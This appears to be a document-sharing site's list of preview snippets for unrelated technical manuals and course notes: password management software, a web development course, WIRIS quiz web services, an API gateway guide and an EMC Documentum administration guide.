P-Synch by M-Tech Information Technology, Inc. ID-Synch by M-Tech Information Technology, Inc. Product Category: Password Management/Provisioning Validation Date: TBD Product Abstract M-Tech software streamlines
Web Development. Owen Sacco. ICS2205/ICS2230 Web Intelligence
Web Development Owen Sacco ICS2205/ICS2230 Web Intelligence Brief Course Overview An introduction to Web development Server-side Scripting Web Servers PHP Client-side Scripting HTML & CSS JavaScript &
WIRIS quizzes web services Getting started with PHP and Java
WIRIS quizzes web services Getting started with PHP and Java Document Release: 1.3 2011 march, Maths for More www.wiris.com Summary This document provides client examples for PHP and Java. Contents WIRIS
SOA Software API Gateway Appliance 7.1.x Administration Guide
SOA Software API Gateway Appliance 7.1.x Administration Guide Trademarks SOA Software and the SOA Software logo are either trademarks or registered trademarks of SOA Software, Inc. Other product names,
EMC Documentum Content Services for SAP iviews for Related Content
EMC Documentum Content Services for SAP iviews for Related Content Version 6.0 Administration Guide P/N 300 005 446 Rev A01 EMC Corporation Corporate Headquarters: Hopkinton, MA 01748 9103 1 508 435 1000